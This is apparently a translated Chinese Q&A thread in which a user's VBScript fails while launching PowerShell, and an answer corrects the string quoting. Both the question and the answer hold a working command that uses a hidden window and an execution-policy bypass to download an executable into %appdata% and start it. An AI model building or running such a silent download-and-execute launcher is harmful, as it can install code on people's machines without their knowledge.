VBScript以root身份启动powershell.exe并执行命令

时间:2017-09-08 13:57:48

标签: powershell vbscript

以下VBScript给出错误:

  

失败:错误无效字符行5列54

我的VBScript:

dim myobject : 
set myobject = createobject ( "wscript.shell" ) : 
powershellcommand = "powershell.exe -Executionpolicy bypass -noprofile -windowstyle hidden -command Set-content -value (new-object System.net.webclient).downloaddata(  https://website.com/folder/download.exe  ) -encoding byte -Path  $env:appdata\download.exe  ; start  $env:appdata\download.exe " : 
myobject.run " & myobject.expandenvironmentstrings( "%systemroot%" ) & "\SYSTEM32\windowspowerShell\v1.0\powershell.exe" & " & ' ' & " & powershellcommand & " , 0 : set myobject = NOTHING

我该如何解决?

1 个答案:

答案 0 :(得分:0)

关于.run方法:实际上,表示要运行的命令行的字符串值应该与在命令提示符下键入的字符串完全相同,例如:

之类的东西
powershell.exe -Executionpolicy bypass -noprofile -windowstyle hidden -command "Set-Content -value  (new-object System.net.webclient).downloaddata( 'http://pspad.poradna.net/release/pspad462_setup.exe' ) -encoding byte -Path  $env:appdata\download.exe; Start-Process $env:appdata\download.exe"

上述命令按预期运行(Windows 8.1/64,PSVersion 5.1.14409.1012)。但是,如果要提供powershell可执行文件的完整路径,则可能如下所示:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -noprofile -windowstyle hidden -command "Set-Content -value (new-object System.net.webclient).downloaddata( 'http://pspad.poradna.net/release/pspad462_setup.exe' ) -encoding byte -Path  $env:appdata\download.exe;  Start-Process $env:appdata\download.exe"

您需要在VBScript中正确构建此类字符串值,例如如下面的代码片段所示:

Option Explicit
Dim WshShell, powershellcommand, objFSO, sPSexePath

Set WshShell = CreateObject("Wscript.Shell")

Set objFSO = CreateObject("Scripting.FileSystemObject")
sPSexePath = objFSO.BuildPath( WshShell.expandenvironmentstrings( "%systemroot%" ) _
     , "System32\WindowsPowerShell\v1.0\powershell.exe" ) 

powershellcommand = """" & sPSexePath & """ -Executionpolicy bypass -noprofile " _
  & " -windowstyle hidden -command ""Set-Content -value " _
  & " (new-object System.net.webclient)" _
  & ".downloaddata( 'http://pspad.poradna.net/release/pspad462_setup.exe' ) " _
  & " -encoding byte -Path  $env:appdata\download.exe; " _
  & " Start-Process $env:appdata\download.exe"""

WshShell.Run powershellcommand, 0

请注意,在VBScript中,用双引号(")括起来的一系列文字字符被识别为字符串。字符串中允许使用单引号(')。 要在字符串中插入双引号("),应将其复制为""